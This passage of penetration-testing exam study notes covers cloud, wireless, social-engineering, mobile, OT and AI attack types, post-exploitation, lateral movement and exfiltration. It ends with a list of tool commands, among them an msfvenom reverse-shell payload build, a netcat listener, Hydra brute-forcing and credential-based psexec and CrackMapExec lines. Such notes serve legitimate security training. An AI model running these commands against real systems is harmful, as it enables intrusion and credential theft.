    - **Metadata Service Attacks:** Exploiting metadata services to gain unauthorized access or information by tricking applications into querying the metadata service and exposing privileged credentials.
    - **Identity and Access Management (IAM) Misconfigurations:** Exploiting misconfigured Access Control settings (such as excessive privileges, No MFA, and No Key Rotation) to gain unauthorized access.
    - **Third-Party Integrations:** Exploiting vulnerabilities in third-party integrated services to gain unauthorized access to the cloud platform.
    - **Resource Misconfiguration:** Exploiting misconfigured or publicly exposed resources.
        - **Network Segmentation:** Exploiting misconfigured network boundaries.
        - **Network Controls:** Exploiting weaknesses in network security controls.
        - **IAM Credentials:** Exploiting weak or exposed IAM credentials.
        - **Exposed Storage Buckets:** Accessing data in improperly secured storage buckets.
        - **Public Access to Services:** Exploiting services exposed to the public internet.
    - **Logging Information Exposure:** a vulnerability that occurs when sensitive data (PII, Financial data, etc) is unintentionally logged, potentially exposing it to unauthorized parties.
    - **Image and Artifact Tampering:** malicious alteration or modifications to digital images and multimedia content to deceive or mislead.
    - **Supply Chain Attacks:** Exploiting vulnerabilities in the software, or services supply chain provided by a third party to gain unauthorized access, steal data, or disrupt operations.
    - **Workload Runtime Attacks:** Exploiting vulnerabilities in running cloud applications to steal data, disrupt services, cause downtime, or gain unauthorized access.
    - **Container Escape:** a security vulnerability that allows an attacker to break out of the isolated environment of a container and gain access to the host system.
    - **Trust Relationship Abuse:** Exploiting trust relationships between cloud services to extract sensitive data, gain unauthorized access, or cause other harm.
2. **TOOLS:** Software tools used to carry out cloud-based attacks.
    - **Pacu:** an open-source exploitation and enumeration framework for AWS environments.
    - **Docker Bench:** an open-source security auditing tool for Docker containers.
    - **Kube-hunter:** A tool for scanning Kubernetes clusters for security issues.
    - **Prowler:** an open-source security tool that performs security assessments, audits, and hardening for cloud environments like AWS, Azure, Google Cloud, and Kubernetes.
    - **ScoutSuite:** an open-source security auditing tool for multi-cloud environments allowing security posture assessment by collecting configuration data through APIs and risk areas.

- **Cloud-Native Vendor Tools:** Security tools provided by cloud service providers.

(P.4.7) PERFORMING WIRELESS ATTACKS

1. **ATTACK TYPES:** Various methods for compromising wireless networks.
    - **Wardriving:** the act of a person searching for Wi-Fi wireless networks in a moving vehicle, using a portable computer, smartphone, or personal digital assistant (PDA).
    - **Evil Twin Attack:** an attack where an attacker sets up a rogue wireless access point with the same SSID (network name) as a legitimate one to intercept and monitor network traffic.
    - **Signal Jamming:** means purposefully disrupting wireless communications signals with interference.
    - **Protocol Fuzzing:** the process of systematically sending malformed, unexpected, or random data to a network protocol implementation to identify its security vulnerabilities.
    - **Packet Crafting:** the process of manually creating and manipulating network packets to test network security, analyze network traffic, or perform specific network-related tasks.
    - **Deauthentication:** the process of forcefully terminating an established authentication session between a client and an access point in a wireless network.
    - **Captive Portal:** an attack where an attacker intercepts and redirects users to a fake login page, allowing the attacker to steal sensitive information of the user such as credentials.
    - **Wi-Fi Protected Setup (WPS) PIN Attack:** a vulnerability that allows an attacker to brute-force the 8-digit WPS PIN and gain unauthorized access to a wireless network.

2. **TOOLS:** Software tools used to carry out wireless attacks.
    - **Web Proxy Auto-Discovery (WPAD) Protocol:** a protocol that allows web browsers and other clients to automatically discover and connect to a proxy server on a local network without manual configuration.
    - **WiFi-Pumpkin:** a framework for creating rogue Wi-Fi access points to conduct man-in-the-middle, on-path, and other network attacks.
    - **Aircrack-ng:** A comprehensive suite of tools for attacking & auditing wireless networks. primarily focused on recovering WEP and WPA/WPA2 encryption keys.
    - **WiGLE.net:** a crowdsourced database and mapping tool for finding the locations of wireless networks worldwide, allowing users to search, view, and share wireless access points.
    - **InSSIDer:** a free and open-source Wi-Fi network scanner, optimizer, and security analyzer.
    - **Kismet:** a powerful open-source wireless network detector, traffic sniffer, and IDS that can monitor Wi-Fi, Bluetooth, Zigbee, and other radio frequency signals.

(P.4.8) PERFORMING SOCIAL ENGINEERING ATTACKS

1. **ATTACK TYPES:** Manipulative methods for tricking individuals into divulging confidential information or performing actions.

    - **Phishing:** a type of online fraud where attackers try to trick people into revealing sensitive information or performing actions that benefit the attacker.
    - **Vishing:** is a phishing attack but it is performed by using voice communication such as phone calls, voice messages, etc.
    - **Whaling:** is a phishing attack specifically targeted towards high-profile entities.
    - **Spearphishing:** this is a phishing attack but for a specific entity rather than a whole bunch of them.
    - **Smishing:** is a phishing attack but it is performed by using SMS or text messages.
    - **Dumpster Diving:** it means searching through trash & discarded materials of an organization to gather sensitive information.
    - **Surveillance:** continuously monitoring and collecting information about an individual or an organization without their knowledge or consent.

- **Shoulder Surfing:** the act of observing and stealing sensitive information, such as passwords or credit card information, by looking over someone's shoulder.
- **Tailgating:** the act when an attacker follows an authorized person into a secure area without proper authentication.
- **Eavesdropping:** the act of secretly listening to a private conversation or intercepting private information without the knowledge or consent of the parties involved.
- **Watering Hole:** an attack where the attacker attacks a target by compromising websites they are likely to visit.
- **Impersonation:** the act of pretending to be a legitimate user or entity to gain unauthorized access, steal information, or perform malicious actions.
- **Credential Harvesting:** the act of collecting usernames and passwords from users through deceptive means such as lying or tricking.

2. **TOOLS:** Software tools used to carry out social engineering attacks.
    - **Social Engineering Toolkit (SET):** Framework for social engineering attacks.
    - **Gophish:** an open-source phishing toolkit for simulating real-world phishing attacks.
    - **Evilginx:** a man-in-the-middle attack framework used for phishing login credentials and session cookies to bypass MFA protection.
    - **theHarvester:** An open-source tool for gathering email, subdomain, and other OSINT data.
    - **Maltego:** A tool for visualizing and analyzing relationships in collected data.
    - **Recon-ng:** an open-source CLI reconnaissance framework written in Python for conducting web-based reconnaissance quickly and thoroughly.
    - **Browser Exploitation Framework (BeEF):** an open-source tool for exploiting web browser vulnerabilities by using client-side attack vectors.

(P.4.9) COMMON ATTACKS AGAINST SPECIALIZED SYSTEMS

1. **ATTACK TYPES:** Various methods for compromising specialized systems.
    - **Mobile Attacks:** designed to infiltrate, compromise, and exploit vulnerabilities in smartphones, tablets, and other mobile devices to steal data, gain unauthorized access, and disrupt operations
        - **Information Disclosure:** refers to the unauthorized release or exposure of sensitive, private, or confidential information.
        - **Jailbreak:** the process of removing software restrictions imposed by the manufacturer on an iOS device, to gain full control and access to the OS.
        - **Rooting:** the process of gaining administrative-level access to the OS of an Android Device.
        - **Permission Abuse:** tricking users into granting permissions to an app that malware can then exploit to leak private data, escalate privileges, and commit fraud

    - **AI Attacks:** Performing attacks such as adversarial attacks, data poisoning, model inversion, membership inference, etc against AI
        - **Adversarial inputs:** Specially crafted inputs that reliably evade detection by being misclassified.
        - **Data poisoning attacks:** Feeding adversarial training data to skew the model's classification boundary in the attacker's favor.
        - **Model stealing techniques:** Duplicating models or recovering training data membership via blackbox probing.
        - **Evasion attacks:** Tampering with input data to cause system errors or evade defensive measures.
        - **Prompt injection:** Strategically entering prompts into LL models to make them perform malicious actions or give unintended outputs.

    - **Weaponized models:** Writing malicious code into model exchange files to execute on the target machine.
    - **Data privacy attacks:** Exploiting sensitive user data stored in ML models for training purposes.
    - **Model Manipulation:** an adversarial attack that manipulates internal parameters of a machine learning model to cause it to make incorrect predictions or behave in unintended ways.

- **OT (Operational Technology):** refers to the hardware and software used to monitor and control physical devices, processes, and infrastructure in industrial and critical systems.
    - **Register Manipulation:** the process of directly modifying the contents of a computer's registers to control the flow of execution and perform low-level tasks.
    - **CAN Bus Attack:** exploiting vulnerabilities in the Controller Area Network protocol used in vehicles to gain unauthorized access and control.
    - **Modbus Attack:** exploits vulnerabilities in the Modbus protocol to gain unauthorized access, disrupt operations, or steal data from industrial control systems.
    - **Plaintext Attack:** exploiting the lack of encryption or security measures in the communication protocols used in industrial control systems
    - **Replay Attack:** the act of delaying and replaying captured data to gain unauthorized access or to misdirect the user to do something for the attacker.

- **Near-Field Communication (NFC):** exploiting vulnerabilities in Near Field Communication (NFC) technology to gain unauthorized access, steal data, or perform malicious actions.
- **Bluejacking:** the act of sending unsolicited messages to nearby Bluetooth-enabled devices
- **Radio-Frequency Identification (RFID):** exploiting vulnerabilities in RFID systems to gain unauthorized access, intercept data, or disrupt operations.
- **Bluetooth Spamming:** refers to the unauthorized and unsolicited transmission of messages or files to nearby Bluetooth-enabled devices without the recipient's consent.

2. **TOOLS:** Software tools are used to carry out attacks against specialized systems.
    - **Scapy:** Python library for network packet manipulation that includes packet crafting, analysis, sending, capturing, and other manipulations.
    - **tcprelay:** a TCP connection forwarder with load-balancing capabilities that can be used as an SSL encryption wrapper if compiled with SSL support.
    - **Wireshark/tcpdump:** Powerful real-time network traffic capturing and analysis tools.
    - **MobSF (Mobile Security Framework):** an open-source, automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis, and security assessment framework capable of performing static and dynamic analysis.
    - **Frida:** a dynamic code instrumentation toolkit that allows injecting JavaScript snippets into native apps on various platforms to enable manipulation of applications for developers, reverse engineers, and security researchers.
    - **Drozer:** a comprehensive security and attack framework for Android that allows you to discover and interact with the attack surface exposed by Android apps.
    - **Android Debug Bridge (ADB):** a command-line tool that allows developers to control and communicate an Android device or emulator for debugging, installing, and managing apps.
    - **Bluecrack:** A tool that allows attackers to gain unauthorized access or steal sensitive data from Bluetooth-enabled devices by exploiting vulnerabilities in the Bluetooth protocol.

(P.4.10) USING SCRIPTING TO AUTOMATE ATTACKS

Using scripts written in different languages to automate attacks.

- **PowerShell:** a powerful, object-oriented, and task-based command-line shell and scripting language designed for system administration, automation, and configuration management.

    - **Empire:** a PowerShell and Python post-exploitation agent that offers encrypted communications and flexible architecture for rapidly deploying post-exploitation modules.
    - **PowerSploit:** a collection of Microsoft PowerShell modules used for code execution, script modification, antivirus bypass, and persistence.
    - **PowerView:** a PowerShell module that provides a simplified interface for querying and interacting with Active Directory and other Windows-based directory services.
    - **PowerUpSQL:** an open-source PowerShell toolkit for attacking SQL Server environments providing modules for privilege escalation, and post-exploitation.
    - **AD Search:** a powerful tool for searching and managing Active Directory objects and attributes.

- **Bash:**
    - **Input/Output Management:** It means Managing input and output streams in shell scripts including awk, sed, Redirections, and piping.
    - **Data Manipulation:** This means transforming, cleaning, and organizing data to extract meaningful insights and prepare it for analysis.

- **Python:**
    - **Impacket:** Python library for working with network protocols that allow us to implement various protocols, create custom applications, and manipulate traffic.
    - **Scapy:** Python library for network packet manipulation that includes packet crafting, analysis, sending, capturing, and other manipulations.

- **Breach and Attack Simulation (BAS):** a technique to proactively test an organization's defenses by simulating real-world attacks to identify vulnerabilities and improve security.

    - **Caldera:** a framework that enables pen-testers to automate security assessments and emulate adversarial tactics, techniques, and procedures (TTP)
    - **Infection Monkey:** an Open-source security tool that tests the resilience of computer networks against attacks by simulating real-world breach scenarios.
    - **Atomic Red Team:** an open-source collection of small, highly portable modules for testing security controls and validating defenses against specific adversarial TTPs.

(P.5) POST-EXPLOITATION AND LATERAL MOVEMENT

Post-exploitation involves actions taken after gaining unauthorized access to a system or network, while lateral movement refers to techniques used to move through an environment after the initial breach.

(P.5.1) TASKS TO ESTABLISH AND MAINTAIN PERSISTENCE

Establishing Persistence means maintaining access to a compromised system over time.

- **Scheduled Tasks/Cron Jobs:** Setting up tasks to run at specific times or intervals.
- **Service Creation:** Installing new services that maintain access.
- **Reverse Shell:** Establishing a connection from the compromised system to an external attacker.
- **Bind Shell:** Listening for incoming connections initiated by the attacker.
- **Adding New Accounts:** Creating new user accounts for continued access.
- **Obtaining Valid Account Credentials:** Stealing a legitimate user’s credentials.
- **Registry Keys:** Modifying Windows registry entries to maintain access.
- **Command & Control (C2) Frameworks:** Using software tools for remote management and control.
- **Backdoor:** a secret entry point in a system or software that allows unauthorized access, often used for malicious purposes.
    - **Web Shell:** Malicious script allowing remote control via a web interface.

    - **Trojan:** Malware that disguises itself as a harmless software to deliver backdoor or malware.

- **Rootkit:** malicious software that hides its presence and grants unauthorized access to a computer system, to steal sensitive information or maintain persistence.
- **Browser Extensions:** Installing malicious browser add-ons masquerading as legitimate ones to gain unauthorized access, install other malicious software, or spy on the user.
- **Tampering Security Controls:** Disabling or modifying security settings such as windows defender, and Anti-virus to avoid detection and maintain persistence.

(P.5.2) TASKS TO MOVE LATERALLY THROUGH THE ENVIRONMENT

Lateral Movement means navigating through a network to expand access beyond the initial compromise.

- **Pivoting:** Using compromised systems to attack other systems within the same network.
- **Relay Creation:** Intercepting and redirecting communications between systems.
- **Enumeration:**
    - **Service Discovery:** Identifying services running on remote systems.
    - **Network Traffic Discovery:** Monitoring network traffic to identify active systems.
    - **Additional Credential Capture:** Obtaining more credentials from other systems.
    - **Credential Dumping:** Extracting stored credentials from compromised system's memory.
    - **String Searches:** Searching for specific text patterns that indicate sensitive information.

- **Service Discovery:**
    - **SMB/File Shares:** Discovering and accessing shared files and directories over the network.
    - **RDP/VNC:** Protocols that allow us to remotely access or control another computer or server over the network.
    - **SSH:** Protocol that allows secure remote access to computers and servers over an encrypted connection.
    - **ClearText:** Unencrypted network communication.
    - **LDAP:** a standardized protocol for accessing and managing directory services, and enabling centralized authentication and authorization of users, devices, and applications.
    - **RPC:** a protocol that allows a program running on one computer to seamlessly execute a function or procedure on another computer over a network.
    - **DCOM:** a proprietary Microsoft technology for communication among software components distributed across networked computers.
    - **FTP:** An unsecured and unencrypted protocol used for transferring files between computers
    - **Telnet:** A protocol that provides unencrypted and unsecured remote CLI access to another computer over a network.
    - **HTTP:** an application layer protocol used for transmitting hypermedia documents, such as HTML, images, and other files, between a web server and a web browser.
    - **HTTPS:** A secured, authenticated and encrypted version of HTTP Protocol.
        - **Web Interfaces:** Allow access for web-based administrative interfaces.

    - **Line Printer Daemon (LPD):** a protocol for submitting print jobs to a remote printer.
    - **JetDirect:** a HP network technology that allows computer printers to directly connect to a local area network (LAN).
    - **Process IDs (PIDs):** Unique numerical identifiers assigned to each running process by OS.

- **Window Management Instrumentation (WMI):** A Microsoft technology for accessing, managing, and monitoring Windows-based systems both remotely and locally.
- **Window Remote Management (WinRM):** A protocol for remote management of Windows-based systems using web services-based protocols.

TOOLS:

- **LOLBins (Living Off the Land Binaries):** Legitimate system tools used by attackers for malicious purposes.
    - **Netstat:** A command-line tool for displaying network connections and statistics.
    - **Net commands:** A set of commands for network administration in Windows.
    - **cmd.exe:** The default command-line interpreter for Windows.
    - **explore.exe:** The executable for Windows File Explorer.
    - **ftp.exe:** The command-line FTP client for file transfers in Windows.
    - **mmc.exe:** The Microsoft Management Console executable for managing Windows systems.
    - **rundll:** A command for running DLL files as programs.
    - **msbuild:** The Microsoft Build Engine for building applications.
    - **route:** A command-line tool for displaying and modifying the IP routing table.
    - **strings/findstr.exe:** Tools for searching text strings in files.

- **Covenant:** A command and control (C2) framework for post-exploitation tasks.
- **CrackMapExec (CME):** a powerful post-exploitation tool that automates security assessments of Windows/Active Directory environments.
- **Impacket:** Python library for working with network protocols that allow us to implement various protocols, create custom applications, and manipulate traffic.
- **Netcat:** A versatile utility for reading and writing data across network connections.
- **sshuttle:** A transparent proxy server for tunneling traffic through an SSH connection.
- **Proxychains:** A tool for routing all network connections through one or more proxy servers.
- **PowerShell ISE:** The Integrated Scripting Environment for developing and running PowerShell scripts.
- **Batch files:** Scripts for automating tasks in the Windows command line.
- **Metasploit:** A framework for developing and executing exploits against remote targets.
- **PsExec:** A command-line tool for executing processes as a different user on other systems.
- **Mimikatz:** an open-source tool that allows users to view and save authentication credentials like Kerberos tickets, and extract passwords from memory alongside other attacks.

(P.5.3) CONCEPTS RELATED TO STAGING AND EXFILTRATION

It means preparing and transferring stolen data out of the compromised environment.

- **File Encryption and Compression:** Securing and reducing the size of exfiltrated files.
- **Covert Channels:**
    - **Steganography:** Hiding Important data within other less important data (e.g., images).
    - **Domain Name System (DNS):** it translates domain names to IP addresses
    - **ICMP:** Used for diagnostic and error messages in IP networks.
    - **HTTPS:** A secured, authenticated and encrypted version of HTTP Protocol.

- **Email:** Sending and exfiltrating stolen data through email attachments.
- **Cross-Account Resources:** Accessing resources in someone else accounts on the same cloud platform through IAM policies, and resource-based policies.
- **Cloud Storage:** Storing stolen data in cloud storage services such as G-Drive, Dropbox, Mega, etc.
- **Alternate Data Streams (ADS):** hidden files attached to other files or directories in file systems like NTFS, allowing data to be stored and executed without being detected by traditional file listings.
- **Text Storage Sites:** Uploading stolen data to online text storage services like pastebin.com etc.
- **Virtual Drive Mounting:** Mounting remote storage as a local drive for data storage.

(P.5.4) CLEANUP AND RESTORATION ACTIVITIES

Cleanup and Restoration means actions taken to cover tracks and restore systems to their original state.

- **Remove Persistence Mechanisms:** Deleting methods used to maintain access.
- **Revert Configuration Changes:** Undoing changes made to system settings.
- **Remove Tester-Created Credentials:** Deleting unauthorized accounts or credentials.
- **Remove Tools:** Uninstalling software used for exploitation and post-exploitation.
- **Spin Down Infrastructure:** Shutting down compromised servers or services.
- **Preserve Artifacts:** Keeping evidence such as logs and screenshots for forensic analysis.
- **Secure Data Destruction:** Ensuring data is erased such that it is irrecoverable.

EXPANATIONS

- **Vulnerability** is a weakness or flaw that can be exploited by threats to compromise the confidentiality, integrity, or availability of a system or asset.
- **Open-source software** is computer software with its source code made freely available to anyone. Anyone can access, download, modify, analyse, inspect, copy, and use the software and its code.
- **Modbus** is a simple, open, and widely used protocol for industrial communication between devices over serial lines or Ethernet networks.
- **API (Application Programming Interface)** is a set of protocols, routines, and tools for building software applications that facilitate the communication and exchange of data between different software components or systems.
- **NFC (Near Field Communication)** is a short-range wireless technology that enables secure data exchange between devices, such as smartphones and payment terminals, for applications like contactless payments, file sharing, and device pairing.
- **Active Directory (AD)** is Microsoft's directory service that runs on Windows Server and enables administrators to manage permissions and control access to network resources by storing data as objects categorized by name and attributes
- **Alternate Data Streams (ADS)** are a feature of the NTFS file system that allows files to contain additional hidden data streams beyond the default stream, which can be used to hide malware or other malicious content.
- **NTFS (New Technology File System)** is a proprietary file system developed by Microsoft for its Windows operating systems, providing advanced features such as security, compression, and journaling for improved data integrity and reliability.
- **Command-line interface (CLI)** is a text-based user interface used to interact with a computer's operating system, execute commands, and run scripts.
- **DLL (Dynamic Link Library)** is a shared library of code and resources that can be dynamically loaded and used by multiple programs to improve efficiency and reduce memory usage.
- **Attack surface** refers to the sum of all the different points where an unauthorized user can attempt to enter or extract data from a system or network.
- **TTP** stands for Tactics, Techniques, and Procedures, which refers to the specific methods and approaches used by threat actors to carry out cyber attacks.
- **WIRELESS SECURITY PROTOCOLS:**
    - **WEP (Wired Equivalent Privacy):** The original and flawed wireless encryption protocol that is no longer recommended.
    - **WPA (Wi-Fi Protected Access):** An interim wireless security protocol that addressed some of WEP's weaknesses, but is now also considered outdated.
    - **WPA2:** The current industry standard for wireless security, using stronger AES encryption, but still vulnerable to some attacks like KRACK.
    - **WPA2-Personal:** A mode of WPA2 that uses a shared password for home/small office networks.
    - **WPA2-Enterprise:** A more secure mode of WPA2 that uses individual credentials and an authentication server, suitable for enterprise networks.
    - **WPA3:** The latest wireless security protocol that provides stronger encryption, better password protection, and other enhanced security features.

    - **WPS (Wi-Fi Protected Setup):** A feature that allows easy wireless network setup, but has security vulnerabilities and is generally not recommended.
- **Containers** are self-contained, portable, and isolated software environments that package an application and its dependencies, enabling consistent and reliable deployment across different computing environments.
- **Fuzzing** is the process of feeding unexpected or invalid data to a program to identify security vulnerabilities.
- **Hashing** is a one-way cryptographic function that converts a password into a unique, fixed-length string (hash) to securely store and verify passwords without storing the original password.

TOOLS & COMMANDS

1. **Maltego** - `maltego`
2. **Recon-ng** - `recon-ng`
3. **Shodan** - `shodan search "default password"`
4. **SpiderFoot** - `spiderfoot -l 127.0.0.1:5001`
5. **WHOIS** - `whois example.com`
6. **nslookup/dig** - `nslookup example.com`, `dig example.com`
7. **Amass** - `amass enum -d example.com`
8. **Nmap** - `nmap -sP 192.168.1.0/24`
9. **theHarvester** - `theHarvester -d example.com -l 500 -b google`
10. **Wireshark/tcpdump** - `wireshark`, `tcpdump -i eth0`
11. **Aircrack-ng** - `AIRCRACK-NG CAPTUREFILE.CAP`
12. **Nikto** - `nikto -h http://example.com`
13. **Greenbone/OpenVAS** - `openvas`
14. **TruffleHog** - `trufflehog https://github.com/example/repo`
15. **BloodHound** - `bloodhound`
16. **Tenable Nessus** - `nessus`
17. **PowerSploit** - Import the PowerSploit module in PowerShell.
18. **Grype** - `grype example-image:latest`
19. **Trivy** - `trivy image example-image:latest`
20. **Kube-hunter** - `kube-hunter --remote example.com`
21. **Metasploit** - `msfconsole`
22. **Netcat** - `nc -lvnp 4444`
23. **Nmap NSE**- `nmap --script vuln example.com`
24. **Impacket** - `psexec.py user:password@target`
25. **CrackMapExec (CME)** - `cme smb 192.168.1.0/24 -u user -p password`
26. **msfvenom** - `msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe`
27. **Responder** - `responder -I eth0`
28. **Hydra** - `hydra -l user -P passwords.txt ftp://example.com`
29. **John the Ripper** - `john --wordlist=passwords.txt hashfile`
30. **sqlmap** - `sqlmap -u http://example.com/vuln --dbs`
31. **Gobuster/DirBuster** - `gobuster dir -u http://example.com -w wordlist.txt`
32. **Wfuzz** - `wfuzz -c -z file,wordlist.txt --hc 404 http://example.com/FUZZ`
33. **WPScan** - `wpscan --url http://example.com --enumerate u`
34. **Pacu** - `pacu`
35. **Docker Bench** - `docker-bench-security`
36. **Prowler** - `prowler`
37. **ScoutSuite** - `scout`
38. **WiFi-Pumpkin** - `wifi-pumpkin`
39. **Kismet** - `kismet`
40. **Social Engineering Toolkit (SET)** - `setoolkit`

41. **Gophish** - `gophish`
42. **Evilginx** - `evilginx2`
43. **Browser Exploitation Framework (BeEF)** - `beef`
44. **Scapy** - `scapy`
45. **tcprelay** - `tcprelay`
46. **MobSF** - `mobsf`
47. **Frida** - `frida`
48. **Drozer** - `drozer console connect`
49. **Android Debug Bridge (ADB)** - `adb devices`
50. **Empire/PowerSploit** - `empire`
51. **PowerView** - Import the PowerView module in PowerShell.
52. **PsExec** - `psexec \\target cmd`
53. **smbclient** - `smbclient //server/share -U user`
54. **Mimikatz** - `mimikatz`

GOOD LUCK WITH THE EXAM!